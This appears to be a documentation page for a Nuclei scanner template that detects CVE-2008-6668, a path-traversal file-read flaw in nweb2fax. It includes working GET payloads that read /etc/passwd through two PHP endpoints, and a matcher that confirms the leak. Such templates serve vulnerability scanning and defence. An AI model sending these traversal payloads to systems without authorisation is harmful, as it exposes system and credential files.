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nweb2fax <=0.2.7 - Local File Inclusion

ID: CVE-2008-6668

Severity: medium

Author: geeknik

Tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley

Description

Section titled “Description”

nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.

YAML Source

Section titled “YAML Source”
id: CVE-2008-6668


info:
  name: nweb2fax <=0.2.7 - Local File Inclusion
  author: geeknik
  severity: medium
  description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/5856
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6668
    cwe-id: CWE-22
    epss-score: 0.00359
    epss-percentile: 0.72128
    cpe: cpe:2.3:a:dirk_bartley:nweb2fax:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dirk_bartley
    product: nweb2fax
  tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley


http:
  - method: GET
    path:
      - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a00463044022002401e6d2cfcf6e927c6ab012b66855586ad7b69aa6bea72e4d18763fa607c6802205b62802a0fc065d6ffc20195b84ac858105f9013c98d6cd41fe3f7eb82731247:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-6668.yaml"

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